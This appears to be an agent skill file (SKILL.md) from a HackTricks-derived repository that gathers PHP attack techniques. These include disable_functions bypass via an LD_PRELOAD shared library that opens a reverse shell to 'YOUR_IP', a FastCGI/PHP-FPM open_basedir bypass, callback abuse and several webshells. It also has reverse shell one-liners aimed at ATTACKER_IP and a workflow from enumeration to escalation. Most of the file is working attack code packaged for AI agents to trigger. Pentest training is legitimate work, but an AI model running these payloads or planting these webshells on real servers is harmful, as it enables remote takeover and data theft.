Hacktricks-skills php-pentest-bypass
Use this skill whenever you need to bypass PHP security restrictions, execute commands through PHP, or work with disable_functions/open_basedir limitations during web application security testing. Trigger this skill for any PHP-related pentesting tasks including command execution, function bypass techniques, FastCGI exploitation, or when analyzing PHP vulnerabilities in web applications.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/php-useful-functions-disable_functions-open_basedir-bypass/SKILL.MDPHP Pentesting & Bypass Techniques
A comprehensive skill for PHP security testing, covering command execution, disable_functions bypass, and open_basedir bypass techniques.
⚠️ Safety Notice
This skill is for authorized security testing only. Always have written permission before testing any system. These techniques can be used maliciously - use responsibly.
Quick Reference
Command Execution Functions
| Function | Output Behavior | Notes |
|---|---|---|
| Returns last line | Use for full output |
| Direct to browser | Good for interactive commands |
| Direct + returns last line | Most common choice |
| Returns all output | Reliable for scripting |
| Returns all output | Backtick syntax |
| Pipe to process | Use with |
| Full control | Most flexible |
| Via modifier | Deprecated in PHP 7+ |
| Replaces process | Requires pcntl extension |
| Via sendmail options | No output visible |
Quick Command Execution
// Basic command execution echo system("whoami"); echo shell_exec("id"); echo passthru("uname -a"); // With output capture $output = shell_exec("ls -la /tmp"); echo $output; // Using backticks $result = `cat /etc/passwd`;
disable_functions Bypass
When command execution functions are disabled, try these bypass techniques:
1. Check Available Functions
First, identify what's still available:
<?php $disabled = ini_get('disable_functions'); $exec_functions = ['exec', 'system', 'passthru', 'shell_exec', 'popen', 'proc_open']; foreach ($exec_functions as $func) { if (function_exists($func) && !str_contains($disabled, $func)) { echo "✓ $func is available\n"; } } ?>
2. LD_PRELOAD Bypass
If
mail() or similar functions are available, use LD_PRELOAD:
Step 1: Create the shared library
// save as shell.c, compile with: gcc -shared -fPIC -o shell.so shell.c #include <unistd.h> #include <sys/types.h> #include <stdio.h> #include <stdlib.h> uid_t getuid(void) { unsetenv("LD_PRELOAD"); system("bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1"); return 1; }
Step 2: Upload and execute via PHP
<?php // Upload shell.so to target, then: putenv("LD_PRELOAD=/path/to/shell.so"); mail('', '', '', '', '-f test'); ?>
Functions that work with LD_PRELOAD:
mail()
(requires php-mbstring)mb_send_mail()
(requires php-imap)imap_mail()
(requires php-libvirt)libvirt_connect()
(requires php-gnupg)gnupg_init()
(ImageMagick)new Imagick()
3. FastCGI/PHP-FPM Bypass
If PHP-FPM is running, you can bypass open_basedir completely:
<?php // Use the bundled FCGIClient script require_once 'scripts/fcgi_client.php'; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['cmd']); ?>"; $params = [ 'SCRIPT_FILENAME' => '/var/www/html/test.php', 'PHP_VALUE' => 'open_basedir=/', 'REQUEST_METHOD' => 'POST' ]; echo $client->request($params, $code); ?>
4. Callback Function Exploitation
Many PHP functions accept callbacks that can execute arbitrary code:
<?php // If you can control the callback parameter: $functions = [ 'array_map', 'array_filter', 'usort', 'uasort', 'call_user_func', 'call_user_func_array', 'preg_replace_callback', 'iterator_apply' ]; // Example with array_map: array_map('system', ['whoami']); array_map('exec', ['id']); // With call_user_func: call_user_func('system', 'whoami'); call_user_func_array('system', ['whoami']); ?>
5. Version-Specific Exploits
| PHP Version | Exploit | Notes |
|---|---|---|
| 5.x - 8.0 | Filter bypass | mm0r1/exploits |
| 7.0-7.4 | FFI bypass | If FFI extension enabled |
| 5.2.4 | ionCube | Specific to ionCube loader |
| 5.2.4/5.2.5 | cURL | curl extension exploit |
| Any | Imagick < 3.3.0 | ImageMagick vulnerability |
open_basedir Bypass
1. glob:// Protocol
List directories outside open_basedir:
<?php $file_list = []; $it = new DirectoryIterator("glob:///v??/run/*"); foreach ($it as $f) { $file_list[] = $f->__toString(); } foreach ($file_list as $f) { echo "$f\n"; } ?>
Path patterns:
→/v??/run/*/var/run/*
→/e??/*/etc/*
→/t??/*/tmp/*
2. FastCGI Full Bypass
See the FastCGI section above - this completely bypasses open_basedir by sending custom PHP_VALUE parameters.
3. PHP Code Execution
Even with open_basedir, you can:
- Read/write files within allowed directories
- Create directories and change permissions
- Dump databases
- Find SSH keys or credentials
<?php // File operations within open_basedir file_put_contents('/allowed/path/shell.php', '<?php system($_GET["c"]); ?>'); chmod('/allowed/path/shell.php', 0777); // Database dump $pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass'); $results = $pdo->query('SELECT * FROM users'); foreach ($results as $row) { echo print_r($row, true); } ?>
Useful PHP Functions for Pentesting
Information Disclosure
phpinfo(); // Full PHP configuration getenv(); // Environment variables get_current_user(); // Current user getcwd(); // Current working directory get_cfg_var('key'); // Configuration values disk_free_space('/'); // Disk space getmyuid(); // User ID getmygid(); // Group ID getmypid(); // Process ID
Filesystem Operations
// Read file_get_contents('/path'); readfile('/path'); file('/path'); // Write file_put_contents('/path', 'data'); // List scandir('/path'); glob('/path/*'); // Permissions chmod('/path', 0777); chown('/path', 'user'); chgrp('/path', 'group'); // Create/Delete mkdir('/path'); rmdir('/path'); touch('/path'); unlink('/path');
Network Operations
// Socket connections fsockopen('host', 'port'); pfsockopen('host', 'port'); // HTTP requests file_get_contents('http://host/path'); // FTP ftp_connect('host'); ftp_get($conn, 'local', 'remote'); ftp_put($conn, 'remote', 'local');
Automated Tools
dfunc-bypasser
Automatically discovers bypass methods:
git clone https://github.com/teambi0s/dfunc-bypasser cd dfunc-bypasser python dfunc-bypasser.py
Chankro
Generates LD_PRELOAD exploits:
# Create shell script echo 'whoami > /tmp/output.txt' > shell.sh # Generate exploit python2 chankro.py --arch 64 --input shell.sh --path /tmp --output exploit.php # Upload exploit.php to target and access via web
p0wny-shell
Automatic bypass detection webshell:
# Download and upload to target curl -O https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
Testing Workflow
- Enumerate: Check
for disabled functions and open_basedirphpinfo() - Identify: Find available execution methods
- Bypass: Apply appropriate bypass technique
- Verify: Test command execution
- Escalate: Use PHP capabilities for further access
Common Payloads
Reverse Shell
<?php // Basic reverse shell system("bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"); // Via mail with LD_PRELOAD putenv("LD_PRELOAD=/tmp/shell.so"); mail('', '', '', '', '-f test'); // Via FastCGI $code = "<?php system('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'); ?>"; // Use FCGIClient to execute ?>
Webshell
<?php // Simple webshell if (isset($_GET['c'])) { system($_GET['c']); } ?>
File Upload
<?php // Upload and execute $payload = '<?php system($_GET["cmd"]); ?>'; file_put_contents('/tmp/shell.php', $payload); chmod('/tmp/shell.php', 0777); ?>
References
Scripts
Use the bundled scripts for common tasks:
- Check available functionsscripts/check_disabled_functions.php
- FastCGI client for bypassscripts/fcgi_client.php
- Generate LD_PRELOAD exploitscripts/generate_ldpreload.sh
- Generate custom webshellsscripts/webshell_generator.php